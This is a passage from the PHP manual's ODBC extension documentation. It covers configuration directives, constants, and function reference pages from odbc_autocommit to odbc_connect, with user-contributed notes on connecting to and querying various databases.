odbc.default_db * | NULL | PHP_INI_ALL |
odbc.default_user * | NULL | PHP_INI_ALL |
odbc.default_pw * | NULL | PHP_INI_ALL |
odbc.allow_persistent | "1" | PHP_INI_SYSTEM |
odbc.check_persistent | "1" | PHP_INI_SYSTEM |
odbc.max_persistent | "-1" | PHP_INI_SYSTEM |
odbc.max_links | "-1" | PHP_INI_SYSTEM |
odbc.defaultlrl | "4096" | PHP_INI_ALL |
odbc.defaultbinmode | "1" | PHP_INI_ALL |
odbc.default_cursortype | "3" | PHP_INI_ALL | Available as of PHP 5.3.0

Note: Entries marked with * are not implemented yet.

For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

odbc.default_db string

ODBC data source to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.default_user string

User name to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.default_pw string

Password to use if none is specified in odbc_connect() or odbc_pconnect().

odbc.allow_persistent boolean

Whether to allow persistent ODBC connections.

odbc.check_persistent boolean

Check that a connection is still valid before reuse.

odbc.max_persistent integer

The maximum number of persistent ODBC connections per process.

odbc.max_links integer

The maximum number of ODBC connections per process, including persistent connections.

odbc.defaultlrl integer

Handling of LONG fields. Specifies the number of bytes returned to variables.

When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used.
odbc.defaultbinmode integer

Handling of binary data.

odbc.default_cursortype integer

Controls the ODBC cursor model. Possible values are SQL_CURSOR_FORWARD_ONLY, SQL_CURSOR_KEYSET_DRIVEN, SQL_CURSOR_DYNAMIC and SQL_CURSOR_STATIC (default).

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

This extension defines two resource types: an ODBC connection identifier and an ODBC result identifier.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

ODBC_TYPE (integer)
ODBC_BINMODE_PASSTHRU (integer)
ODBC_BINMODE_RETURN (integer)
ODBC_BINMODE_CONVERT (integer)
SQL_ODBC_CURSORS (integer)
SQL_CUR_USE_DRIVER (integer)
SQL_CUR_USE_IF_NEEDED (integer)
SQL_CUR_USE_ODBC (integer)
SQL_CONCURRENCY (integer)
SQL_CONCUR_READ_ONLY (integer)
SQL_CONCUR_LOCK (integer)
SQL_CONCUR_ROWVER (integer)
SQL_CONCUR_VALUES (integer)
SQL_CURSOR_TYPE (integer)
SQL_CURSOR_FORWARD_ONLY (integer)
SQL_CURSOR_KEYSET_DRIVEN (integer)
SQL_CURSOR_DYNAMIC (integer)
SQL_CURSOR_STATIC (integer)
SQL_KEYSET_SIZE (integer)
SQL_CHAR (integer)
SQL_VARCHAR (integer)
SQL_LONGVARCHAR (integer)
SQL_DECIMAL (integer)
SQL_NUMERIC (integer)
SQL_BIT (integer)
SQL_TINYINT (integer)
SQL_SMALLINT (integer)
SQL_INTEGER (integer)
SQL_BIGINT (integer)
SQL_REAL (integer)
SQL_FLOAT (integer)
SQL_DOUBLE (integer)
SQL_BINARY (integer)
SQL_VARBINARY (integer)
SQL_LONGVARBINARY (integer)
SQL_DATE (integer)
SQL_TIME (integer)
SQL_TIMESTAMP (integer)
SQL_TYPE_DATE (integer)
SQL_TYPE_TIME (integer)
SQL_TYPE_TIMESTAMP (integer)
SQL_BEST_ROWID (integer)
SQL_ROWVER (integer)
SQL_SCOPE_CURROW (integer)
SQL_SCOPE_TRANSACTION (integer)
SQL_SCOPE_SESSION (integer)
SQL_NO_NULLS (integer)
SQL_NULLABLE (integer)
SQL_INDEX_UNIQUE (integer)
SQL_INDEX_ALL (integer)
SQL_ENSURE (integer)
SQL_QUICK (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
ODBC Functions
ODBC


ODBC Functions

Table of Contents

  • odbc_autocommit — Toggle autocommit behaviour
  • odbc_binmode — Handling of binary column data
  • odbc_close_all — Close all ODBC connections
  • odbc_close — Close an ODBC connection
  • odbc_columnprivileges — Lists columns and associated privileges for the given table
  • odbc_columns — Lists the column names in specified tables
  • odbc_commit — Commit an ODBC transaction
  • odbc_connect — Connect to a datasource
  • odbc_cursor — Get cursorname
  • odbc_data_source — Returns information about a current connection
  • odbc_do — Alias of odbc_exec
  • odbc_error — Get the last error code
  • odbc_errormsg — Get the last error message
  • odbc_exec — Prepare and execute an SQL statement
  • odbc_execute — Execute a prepared statement
  • odbc_fetch_array — Fetch a result row as an associative array
  • odbc_fetch_into — Fetch one result row into array
  • odbc_fetch_object — Fetch a result row as an object
  • odbc_fetch_row — Fetch a row
  • odbc_field_len — Get the length (precision) of a field
  • odbc_field_name — Get the columnname
  • odbc_field_num — Return column number
  • odbc_field_precision — Alias of odbc_field_len
  • odbc_field_scale — Get the scale of a field
  • odbc_field_type — Datatype of a field
  • odbc_foreignkeys — Retrieves a list of foreign keys
  • odbc_free_result — Free resources associated with a result
  • odbc_gettypeinfo — Retrieves information about data types supported by the data source
  • odbc_longreadlen — Handling of LONG columns
  • odbc_next_result — Checks if multiple results are available
  • odbc_num_fields — Number of columns in a result
  • odbc_num_rows — Number of rows in a result
  • odbc_pconnect — Open a persistent database connection
  • odbc_prepare — Prepares a statement for execution
  • odbc_primarykeys — Gets the primary keys for a table
  • odbc_procedurecolumns — Retrieve information about parameters to procedures
  • odbc_procedures — Get the list of procedures stored in a specific data source
  • odbc_result_all — Print result as HTML table
  • odbc_result — Get result data
  • odbc_rollback — Rollback a transaction
  • odbc_setoption — Adjust ODBC settings
  • odbc_specialcolumns — Retrieves special columns
  • odbc_statistics — Retrieve statistics about a table
  • odbc_tableprivileges — Lists tables and the privileges associated with each table
  • odbc_tables — Get the list of table names stored in a specific data source

User Contributed Notes

chaz_meister_rock at yahoo dot com 29-Aug-2007 11:54
Windows 64 Caveats with ODBC

I'm pretty sure PHP only accesses the 32-bit ODBC stuff on Windows 64.  Therefore, you will need to configure your ODBC DSNs via the Data Source Administrator found at:

/WINDOWS/SysWOW64/odbcad32.exe
11-Oct-2006 07:28
I had big performance problems retrieving data form MS SQL Server with odbc only when the query was unsing a join.

I found out, that I had to connect with the cursor-type "SQL_CUR_USE_ODBC" and everything was ok:

$conn = odbc_connect("ShopLive", 'shop', 'xxx', SQL_CUR_USE_ODBC);
sven at ajaxtechforums dot com 27-Feb-2006 03:07
I found this to be a perfect alternative to the MaxDB special drivers of version 7.5.00. Just weren't that easy to install on *nix. Windows seems fine. Anyway The ODBC is a perfect alternative for connecting the SAPDB/MaxDB towards PHP.

Installation guide for the odbc alternative (instead of the MAXDB-php driver) can be found here:

http://maxdb.yapabout.com/viewtopic.php?t=21
xangelusx at hotmail dot com 11-Nov-2005 07:45
If you receive an error stating "Connection is busy with results for another hstmt, SQL state S1000 in SQLExecDirect" try opening your odbc connection using the SQL_CURSOR_FORWARD_ONLY option

<?php
$db_link = odbc_connect($dsn, $username, $password, SQL_CURSOR_FORWARD_ONLY)
    or die('Error connecting to server. Server says: '.htmlspecialchars(odbc_errormsg()));
?>
Quickdraw 05-May-2005 11:06
In response to Holger's comment about using @@identity:

Be carefull. If the table you're inserting into has a trigger that also inserts into another table that has an identity column you'll get the key of that other table! use scope_identity() instead of @@identity
04-May-2005 08:14
I searched for the solution of why odbc connection of a network remote drive under Windows + Apache 2.0.X, cannot give the query, but seems no one provides the solution.

In fact, it is very simple.
Go to Control Panal -> Services;
Find and double click "Apache2";
In the page of "Log On", choose Log on as "This account" and give an account in the web server system which have the right to control the network remote drive;
Finally, restart Apache, and that's it.
denials at gmail dot com 23-Jan-2005 03:05
Ever wonder why you're experiencing really slow data retrieval times using IBM DB2 Universal Database for Linux, UNIX, and Windows? The default cursor type used by Unified ODBC is not supported by DB2, so it gets downgraded to a forward-only cursor -- and that negotiation occurs with every row fetch.

One way to force your PHP applications to use forward-only cursors is to modify your DB2 client configuration with a handy CLI patch2 setting value of 6:

$ db2 UPDATE CLI CONFIGURATION FOR SECTION dbname USING patch2 6

You have to update this client setting on the same machine on which you are running the PHP application. This works on Windows operating systems as well as on Linux & UNIX operating systems.

I ran a few basic benchmarks (fetch 10,000 rows consisting of 3 INTEGER columns from a remote database server) and concluded that this setting can make a major difference to your application speed:

Without CLI patch2 setting: ~22 seconds
With CLI patch2 setting: ~ 1.75 seconds

Note that the drawback of using this patch setting (or any other method of using forward-only cursors) makes odbc_num_rows() always return "-1" for the number of rows affected by a SELECT statement.
pascals at NOSPAM dot pobox dot com 27-Feb-2004 03:15
If the bundled ODBC library stumbles on some field formats (like some REAL from Pervasive.SQL), have a look at http://odbtp.sourceforge.net/.

After many headaches, I have adoped odbtp: it's a very solid library and best of all it's not tied to a particular OS.
vbwebprofi at gmx dot de 04-Nov-2003 04:31
On my search for a function to retriew the NewID of an inserted row wich has an autoincrement I found this solution like the mysql_insert_id for an ODBC connection to MS-Access :

<?
// make your connection below
$Connection = odbc_connect(...);
$Result = odbc_exec($Connection, "select @@identity");
$NewID = odbc_result($Result, 1);
odbc_free_result($Result);

// make here all what you want with the NewID

odbc_close($Connection);
?>

In my mind this should also work with MS-SQL-Server and with Sybase - via ODBC and direct (mssql_.../sybase_...).

HTH ...

Regards

Holger
Predefined Constants
odbc_autocommit
ODBC


Toggle autocommit behaviour

ODBC Functions
odbc_binmode
ODBC Functions
PHP Manual

odbc_autocommit

(PHP 4, PHP 5)

odbc_autocommit — Toggle autocommit behaviour

Description

mixed odbc_autocommit ( resource $connection_id [, bool $OnOff = false ] )

Toggles autocommit behaviour.

By default, auto-commit is on for a connection. Disabling auto-commit is equivalent with starting a transaction.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

OnOff

If OnOff is TRUE, auto-commit is enabled, if it is FALSE auto-commit is disabled.

Return Values

Without the OnOff parameter, this function returns auto-commit status for connection_id. Non-zero is returned if auto-commit is on, 0 if it is off, or FALSE if an error occurs.

If OnOff is set, this function returns TRUE on success and FALSE on failure.

See Also

  • odbc_commit() - Commit an ODBC transaction
  • odbc_rollback() - Rollback a transaction

User Contributed Notes

alvaro at demogracia dot com 06-Aug-2008 01:18
If you are using persistent connections (odbc_pconnect rather than odbc_connect) the next script that reuses the connection will inherit your changes to autocommit.
Orgied - info at orgied dot com 05-Apr-2005 11:58
Hi (i'm belgian then sorry for my english).

I think you can do more simple to check the errors :

$conn = odbc_connect($odbc,$user,$password)
    or die($error);

odbc_autocommit($conn, FALSE);

odbc_exec($conn, $query1);
odbc_exec($conn, $query2);

if (!odbc_error())
      odbc_commit($conn);
else
      odbc_rollback($conn);

odbc_close($conn);

I'm not sure it's better to use odbc_error() than
odbc_error($conn). It seems to be the same result.
Ron 20-Aug-2004 11:51
using autocommit functionality to rollback transactions in a "workspace"

<?php
$conn = odbc_connection("$DSN","USER","PASS");
//turns off autocommit
odbc_autocommit($conn,FALSE);

$query1 = "some SQL";
$query2 = "some more SQL";

$ErrorCount = 0;
//if odbc_exec fails it will increment the $ErrorCount
$result = odbc_exec($conn,$query1) or $ErrorCount++;
$result2 = odbc_exec($conn,$query2) or $ErrorCount++;

//checking for errors, commit if none, rollback else
if ($Errorcount == 0){
    odbc_commit($conn);
    echo "transaction successful";
}
else{
    odbc_rollback($conn);
    echo "there were errors processing the transaction.
    No changes were made to the database";
}

odbc_close($conn);

?>

Cheers,
Ron
Joe 26-May-2004 09:01
It seems that example made by andrea dot galli at acotel dot com works exactly the contrary.

It sets autocommit OFF and NOT ON like it's written inside note!
JRog 25-Jun-2003 01:30
If a transaction is started (autocommit disabled) while there is an active result id on the connection, odbc_autocommit will post a warning (Cannot set autocommit).  Use odbc_free_result to clear the result id's or start the transaction before you execute the SQL.
andrea dot galli at acotel dot com 28-Apr-2003 09:48
Example: set autocommit on

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");

    $Return = odbc_autocommit($Link_ID, FALSE);

?>
alonsoalonsocr at yahoo dot com 08-Oct-2001 03:09
When used in a odbc_fetch loop your selected resultset is lost and loop ends.
ODBC Functions
odbc_binmode
ODBC Functions


Handling of binary column data

odbc_autocommit
odbc_close_all
ODBC Functions
PHP Manual

odbc_binmode

(PHP 4, PHP 5)

odbc_binmode — Handling of binary column data

Description

bool odbc_binmode ( resource $result_id , int $mode )

Enables handling of binary column data. ODBC SQL types affected are BINARY, VARBINARY, and LONGVARBINARY.

When binary SQL data is converted to character C data, each byte (8 bits) of source data is represented as two ASCII characters. These characters are the ASCII character representation of the number in its hexadecimal form. For example, a binary 00000001 is converted to "01" and a binary 11111111 is converted to "FF".

LONGVARBINARY handling
binmode | longreadlen | result
ODBC_BINMODE_PASSTHRU | 0 | passthru
ODBC_BINMODE_RETURN | 0 | passthru
ODBC_BINMODE_CONVERT | 0 | passthru
ODBC_BINMODE_PASSTHRU | 0 | passthru
ODBC_BINMODE_PASSTHRU | >0 | passthru
ODBC_BINMODE_RETURN | >0 | return as is
ODBC_BINMODE_CONVERT | >0 | return as char

If odbc_fetch_into() is used, passthru means that an empty string is returned for these columns.

Parameters

result_id

The result identifier.

If result_id is 0, the settings apply as default for new results.

Note: Default for longreadlen is 4096 and mode defaults to ODBC_BINMODE_RETURN. Handling of binary long columns is also affected by odbc_longreadlen().

mode

Possible values for mode are:

  • ODBC_BINMODE_PASSTHRU: Passthru BINARY data
  • ODBC_BINMODE_RETURN: Return as is
  • ODBC_BINMODE_CONVERT: Convert to char and return

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

yhalmoe at yahoo dot no 14-Dec-2009 08:45
For Sybase users (this probably applies to MS-SQL Server as well) who are using ODBC:

I was using the same code as mizmerize, but I was getting truncated data back from the server (at the 32kb mark) when selecting data with the image datatype. My Sybase server has a @@textsize property of 2Gb, which should be plenty. But apparently, the php ODBC driver resets this to 32Kb when a connection is made, and then sets it back to 2Gb after. The solution is to do a query:

<?php odbc_exec($connH, "set textsize 131072"); ?>

immediately before your main query, in mizmerize's code. That should override the default setting.
bortuzar 12-Feb-2009 07:28
I set the odbc_longreadlen() at the beggining of my script so nText field types dont get truncated, like this:

<?php odbc_longreadlen (0, 1000000); ?>
mizmerize at yahoo dot com 10-Jan-2006 06:59
I am currently using an SQL Server 2000 used as a datasource for ODBC access, Testing PHP scripts from an Apache 2 server running on Windows 2000.

I was trying to get an image from the database using ODBC but the output always flushes automatically while I was just getting the result using odbc_result() function.

With this code, the picture automatically prints to the browser as soon as I hit odbc_result() (probably a bug, but bug reports aren't that easy to do).

<?php
  $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
    $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
    if ($result) {
        odbc_longreadlen($result, 131072);
        odbc_binmode($result,ODBC_BINMODE_PASSTHRU);
//upon calling this, the output flushes out to the browser... made me scratch
$m_FValue=odbc_result($result, 1);
}
?>

...after 48 hours of scratching I finally made a work around, but by using a function in the bin2hex() function documentation...

<?php
      function hex2bin($data){
       $len = strlen($data);
       return pack("H" . $len, $data);
    }

    $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
    $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
    if ($result) {
        odbc_longreadlen($result, 131072);
        odbc_binmode($result,ODBC_BINMODE_CONVERT);
        $m_FValue=odbc_result($result, 1);
        $out=hex2bin($m_FValue);
    }
?>

The trick was to convert the output into hex by changing odbc_binmode to  ODBC_BINMODE_CONVERT and using a handy function to convert it back to binary in order to facilitate manipulation of its size, depth etc...
andrea dot galli at acotel dot com 28-Apr-2003 08:27
Example: retrieve image from database.

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");
   $Query_ID = odbc_exec($Link_ID, "SELECT picture FROM categories");

   // change to ODBC_BINMODE_CONVERT for comparison

   odbc_binmode($Query_ID, ODBC_BINMODE_RETURN);

   $Images = odbc_result($Query_ID, 1);

   echo $Images;

?>
odbc_autocommit
odbc_close_all
ODBC Functions


Close all ODBC connections

odbc_binmode
odbc_close
ODBC Functions
PHP Manual

odbc_close_all

(PHP 4, PHP 5)

odbc_close_all — Close all ODBC connections

Description

void odbc_close_all ( void )

odbc_close_all() will close down all connections to database server(s).

Parameters

This function has no parameters.

Return Values

No value is returned.

Notes

Note:

This function will fail if there are open transactions on a connection. This connection will remain open in this case.

User Contributed Notes

alvaro at demogracia dot com 19-Sep-2008 02:08
Apparently, it doesn't really close *all* connections; just those used by the current script.

If you are using persistent connections, every time a script does an odbc_pconnect() and all open connections are in use you'll get a new connection with the same credentials. You won't close them all with odbc_close_all().
odbc_binmode
odbc_close
ODBC Functions


Close an ODBC connection

odbc_close_all
odbc_columnprivileges
ODBC Functions
PHP Manual

odbc_close

(PHP 4, PHP 5)

odbc_close — Close an ODBC connection

Description

void odbc_close ( resource $connection_id )

Closes down the connection to the database server.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

Return Values

No value is returned.

Notes

Note:

This function will fail if there are open transactions on this connection. The connection will remain open in this case.

User Contributed Notes

mallsop at ind dot net 16-May-2000 07:33
On microsoft servers, use the odbc_free_result command.
odbc_close_all
odbc_columnprivileges
ODBC Functions


Lists columns and associated privileges for the given table

odbc_close
odbc_columns
ODBC Functions
PHP Manual

odbc_columnprivileges

(PHP 4, PHP 5)

odbc_columnprivileges — Lists columns and associated privileges for the given table

Description

resource odbc_columnprivileges ( resource $connection_id , string $qualifier , string $owner , string $table_name , string $column_name )

Lists columns and associated privileges for the given table.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner.

table_name

The table name.

column_name

The column_name argument accepts search patterns ('%' to match zero or more characters and '_' to match a single character).

The owner, table_name, and column_name accept search patterns ('%' to match zero or more characters and '_' to match a single character).

Return Values

Returns an ODBC result identifier or FALSE on failure. This result identifier can be used to fetch a list of columns and associated privileges.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_OWNER
  • TABLE_NAME
  • GRANTOR
  • GRANTEE
  • PRIVILEGE
  • IS_GRANTABLE

The result set is ordered by TABLE_QUALIFIER, TABLE_OWNER and TABLE_NAME.

User Contributed Notes

There are no user contributed notes for this page.
odbc_close
odbc_columns
ODBC Functions


Lists the column names in specified tables

odbc_columnprivileges
odbc_commit
ODBC Functions
PHP Manual

odbc_columns

(PHP 4, PHP 5)

odbc_columns — Lists the column names in specified tables

Description

resource odbc_columns ( resource $connection_id [, string $qualifier [, string $schema [, string $table_name [, string $column_name ]]]] )

Lists all columns in the requested range.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

schema

The owner.

table_name

The table name.

column_name

The column name.

The schema, table_name, and column_name accept search patterns ('%' to match zero or more characters and '_' to match a single character).

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_SCHEM
  • TABLE_NAME
  • COLUMN_NAME
  • DATA_TYPE
  • TYPE_NAME
  • PRECISION
  • LENGTH
  • SCALE
  • RADIX
  • NULLABLE
  • REMARKS

The result set is ordered by TABLE_QUALIFIER, TABLE_SCHEM and TABLE_NAME.

See Also

  • odbc_columnprivileges() - Lists columns and associated privileges for the given table to retrieve associated privileges

User Contributed Notes

Thomas 16-Jun-2009 06:46
[MS SQL Server 2005/2008, PHP 5]

Imagine you would need to access the column names of a specific table, for instance to display them as table headers for fields with missing information. While browsing the documentation I was kind of lost how to use odbc_columns() without the usage of odbc_result_all() which outputs EVERYTHING in a single HTML table.

Here is a way to stuff all output into an array and then access only one or more fields of the odbc_columns() output:

<?php
include('connect.inc'); // <== Put all your database connection parameters in here. (DSN, PWD, USR, mssql_connect, etc.; returns $connection)

$outval = odbc_columns($connection, "your DB name", "%", "your table name", "%");

$pages = array();
while (odbc_fetch_into($outval, $pages)) {
        echo $pages[3] . "<br />\n"; // presents all fields of the array $pages in a new line until the array pointer reaches the end of array data
    }
?>

Now your array $pages will have the following contents:
([x] is the array index displayed here for better understanding)

[0] TABLE_CAT <== your DB name
[1] TABLE_SCHEM <== dbo, your table scheme
[2] TABLE_NAME <== your table name
[3] COLUMN_NAME <== your column names (selected all with "%" in odbc_columns() )
[4] DATA_TYPE <== -8
[5] TYPE_NAME <== nchar (corresponds to -8, 11 f.i. is datetime and so on)
[6] COLUMN_SIZE <== num. val.
[7] BUFFER_LENGTH <== num. val.
[8] DECIMAL_DIGITS <== num. val. or NULL
[9] NUM_PREC_RADIX <== num. val. or NULL
[10] NULLABLE <== num. val.
[11] REMARKS <== num. val. or NULL
[12] COLUMN_DEF <== num. val. or NULL
[13] SQL_DATA_TYPE <== num. val.
[14] SQL_DATETIME_SUB <== num. val. or NULL
[15] CHAR_OCTET_LENGTH <== num. val. or NULL
[16] ORDINAL_POSITION <== num. val.
[17] IS_NULLABLE <== YES/NO
[18] SS_DATA_TYPE <== num. val.

Now you can access each field recursivly by its key and output only the DESIRED fields instead of having ALL output from odbc_result_all().
Please note that the array key starts at zero (0) instead of one (1), so echo $pages[3] selects COLUMN_NAME from the above list.

I hope this helps...

Cheers
Thomas
php dot lpatrick at spamgourmet dot com 02-May-2008 10:52
Since I was just looking for table descriptions of an MS Access file I didn't know the table structure of, I wrote this (where $inputfile is the Access file name):

<?php
$conn = odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=".$inputfile;, "", "");

$tabs = odbc_tables($conn);
$tables = array();
while (odbc_fetch_row($tabs)){
    if (odbc_result($tabs,"TABLE_TYPE")=="TABLE") {
        $table_name = odbc_result($tabs,"TABLE_NAME");
        $tables["{$table_name}"] = array();
        $cols = odbc_exec($conn,'select * from `'.$table_name.'` where 1=2');  // we don't want content
      $ncols = odbc_num_fields($cols);
        for ($n=1; $n<=$ncols; $n++) {
            $field_name = odbc_field_name($cols, $n);
            $tables["{$table_name}"]["{$field_name}"]['len'] = odbc_field_len($cols, $n);
            $tables["{$table_name}"]["{$field_name}"]['type'] = odbc_field_type($cols, $n);
        }
    }
}
odbc_close ($conn);
print_r($tables);
?>
jeremie dot legrand at komori-chambon dot fr 19-Feb-2008 02:43
Here is the way to use odbc_columns() with "Attunity Connect", an ODBC connector to VMS :

$db = "my_database";
$table = "my_table";
$con = odbc_connect($db, "user", "password");
$result = odbc_columns($con, $db, "", $table, "%");
while (odbc_fetch_row($resu)) {
    echo odbc_result_all($resu);
}
Artur 23-Jan-2007 06:15
This is the only way I could actually get field names using odbc_columns. Hope it will be usefull for someone.

$result = odbc_columns($odbc,$dbhost,"dbo", "KIR_ViolationDetail");

while (odbc_fetch_row($result))
{
  echo odbc_result($result,"COLUMN_NAME");
}
ke3wh at comcast dot net 26-Nov-2004 05:47
The complete script to get into from a DSN MS Access DB Table and display it is below.

function Error_Handler( $msg, $cnx ) {
    echo "$msg \n";
    odbc_close( $cnx);
    exit();
    }

$cnx = odbc_connect( 'DSN_NAME' , '', '' );//connect to MSAccess
    if (!$cnx) {
      Error_handler( "Error in odbc_connect" , $cnx );
    }

    $res400= odbc_columns($cnx,"DSN_NAME","","TABLE");
    echo odbc_result_all($res400);
laundro at gmail dot com 15-Nov-2004 08:29
Getting all column names from Excel with ODBC:
$cols = odbc_columns($connection, $filename, NULL, $sheet);

where:
$connection is the result of your odbc_connect;
$filename is the filename of the Excel file;
$sheet is the name of the Excel worksheet.

This is useful when you want to query an Excel file without having to name ranges beforehand. With the results obtained from the above command, you can populate an array and use its contents (ie the column names) for further querying.
netaminas at hotamil dot com 25-Feb-2004 02:21
Connect with IBM Client Access 32-bit ODBC driver

To access table information in DB2 iSeries (AS/400) via ODBC Driver i've tried with this code and worked!!!

$conn_ODBC = odbc_connect("DSN", "USER", "PASSW") or die;
$tabela = "table name in IBM iSeries";
$libname = "library name in IBM iSeries"

$res400 = odbc_columns($conn_ODBC, "DSN", $libname, $tabela, "%")  or die("<p><font color=#FF0000>Erro Na Leitura da Tabela ".$tabela." do AS/400: ".odbc_errormsg());

echo odbc_result_all($res400);

Netaminas.com
PORTUGAL
21-Oct-2003 11:44
ODBC & MS ACCESS :

odbc_columns($conn,"DSN_NAME","","TABLE_NAME");
Sergio Sartori 25-Feb-2003 08:05
Using this function on a MS SQL Server 2000 database connection with the syntax:

$res = odbc_columns($connId, $dbName, "%", $tableName, "%");

I actually get a result set with THESE columns name:

TABLE_CAT, TABLE_SCHEM, TABLE_NAME, COLUMN_NAME, DATA_TYPE, TYPE_NAME, COLUMN_SIZE, BUFFER_LENGTH, DECIMAL_DIGITS, NUM_PREC_RADIX, NULLABLE, REMARKS

in the order displayed.
josh at engledental dot com 12-Jun-2002 05:34
(PHP4.2.1, Win2k, MSSQL 2K)

The result id returned from this function does not appear to behave exactly the same as a result id returned from a query.

I get all sorts of errors when I try to use subsequent odbc functions on the result id, such as:

odbc_fetch_into - This function only seems to work if I don't specify a row number or if the row number = 0.

odbc_fetch_row - This function will not return a row from the result set.  Under some scenarios, I am able to use it in a while loop, but its seems buggy.  Hence, my odbc_num_of_rows function (hack to replace the non-functional odbc_num_rows function) also doesn't work.

I recommend dumping the results into an array immediately and freeing the result id created by this function.

ps - If anyone has any further insight or workarounds, I would appreciate them.
LyleE at LocalMotion dot com 22-Feb-2001 11:53
Took me a while to figure out this command, thought I would save some other people the time.  We couldn't quite figure out what the qualifier was.  For MSSQL 7.0, it is the Database that you are connecing to.  For the pubs database it would look something like this.

$rs = odbc_columns($DBConnection, "Pubs", "%", "jobs");

That would be for showing the jobs table.
odbc_columnprivileges
odbc_commit
ODBC Functions


Commit an ODBC transaction

odbc_columns
odbc_connect
ODBC Functions
PHP Manual

odbc_commit

(PHP 4, PHP 5)

odbc_commit — Commit an ODBC transaction

Description

bool odbc_commit ( resource $connection_id )

Commits all pending transactions on the connection.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

edrenth at thematec dot nl 17-Oct-2000 06:14
When used within an odbc_fetch_row() loop, your selected set is lost.
odbc_columns
odbc_connect
ODBC Functions


Connect to a datasource

odbc_commit
odbc_cursor
ODBC Functions
PHP Manual

odbc_connect

(PHP 4, PHP 5)

odbc_connect — Connect to a datasource

Description

resource odbc_connect ( string $dsn , string $user , string $password [, int $cursor_type ] )

The connection id returned by this functions is needed by other ODBC functions. You can have multiple connections open at once as long as they either use different db or different credentials.

With some ODBC drivers, executing a complex stored procedure may fail with an error similar to: "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it". Using SQL_CUR_USE_ODBC may avoid that error. Also, some drivers don't support the optional row_number parameter in odbc_fetch_row(). SQL_CUR_USE_ODBC might help in that case, too.

Parameters

dsn

The database source name for the connection. Alternatively, a DSN-less connection string can be used.

user

The username.

password

The password.

cursor_type

This sets the type of cursor to be used for this connection. This parameter is not normally needed, but can be useful for working around problems with some ODBC drivers.

The following constants are defined for cursortype:

  • SQL_CUR_USE_IF_NEEDED
  • SQL_CUR_USE_ODBC
  • SQL_CUR_USE_DRIVER

Return Values

Returns an ODBC connection id or 0 (FALSE) on error.

Examples

Example #1 DSN-less connections

<?php
// Microsoft SQL Server using the SQL Native Client 10.0 ODBC Driver - allows connection to SQL 7, 2000, 2005 and 2008
$connection = odbc_connect("Driver={SQL Server Native Client 10.0};Server=$server;Database=$database;", $user, $password);

// Microsoft Access
$connection = odbc_connect("Driver={Microsoft Access Driver (*.mdb)};Dbq=$mdbFilename", $user, $password);

// Microsoft Excel
$excelFile = realpath('C:/ExcelData.xls');
$excelDir = dirname($excelFile);
$connection = odbc_connect("Driver={Microsoft Excel Driver (*.xls)};DriverId=790;Dbq=$excelFile;DefaultDir=$excelDir" , '', '');
?>

See Also

  • For persistent connections: odbc_pconnect() - Open a persistent database connection

User Contributed Notes

Mark 10-Nov-2011 02:41
For Sybase ASE on Linux, do this:

1.) Install tdsodbc package. (containing /usr/lib/odbc/libtdsodbc.so and odbcinst.ini)
2.) copy odbcinst.ini to /etc
3.) $conn  =  odbc_connect("Driver=FreeTDS;Server=127.0.0.1;Port=5033;Database=unittest","sa","");
jpditri at gmail dot com 18-May-2011 11:02
I found that on Windows I am able to connect to a FoxPro free table directory on a password-protected mapped network drive without having a domain controller (as posted in the solution below from harald).
Trying to connect to the mapped drive returned the error "tablename does not exist."  The same code worked correctly if the ODBC resource was located locally on my machine.

As a workaround, I specified the datasource explicitly in the connection, but pointed the source at a shortcut to the same mapped directory:
<?php
$dsn = "Driver={Microsoft Visual FoxPro Driver};SourceType=DBF;SourceDB=c:\\shortcut;Exclusive=NO;collate=Machine;NULL=NO;DELETED=NO;BACKGROUNDFETCH=NO;";
$conn=odbc_connect($dsn,"","");
?>
and the connection completed.  My guess is that the credentials needed to access the drive weren't accessible to apache (I tried changing the user apache ran as to no avail), and the shortcut put that responsibility on Windows.
ewilde aht bsmdevelopment dawt com 17-Feb-2010 01:08
Once you've set up a UnixODBC connection to Informix (as described elsewhere, for example in http://www.unixodbc.org/), the following PHP code will access a database via its DSN:

<?php
// We must set these environment variables for Informix to work.  Either
// do it here or in php.ini.
putenv("INFORMIXDIR=/usr/share/informix");
putenv("ODBCINI=/usr/local/unixODBC/etc/odbc.ini");

// Open up a connection to the database.
if (!($con = odbc_connect("CollectOh", "", "")))
  echo "<p>Connection to CollectOh failed.</p>\n";
else
  {
  // Let's try enumerating all of the tables in the database (there ain't
  // no "show tables" here).
  if (($res = odbc_exec($con, "select * from SYSTABLES")))
    {
    echo "<p>\n";
    odbc_result_all($res);
    echo "</p>\n";
    }

  // Close up shop, like good dobies.
  odbc_close($con);
  }
?>
Mika 14-Dec-2009 01:26
To connect a SQLite database in Linux I used the following function call

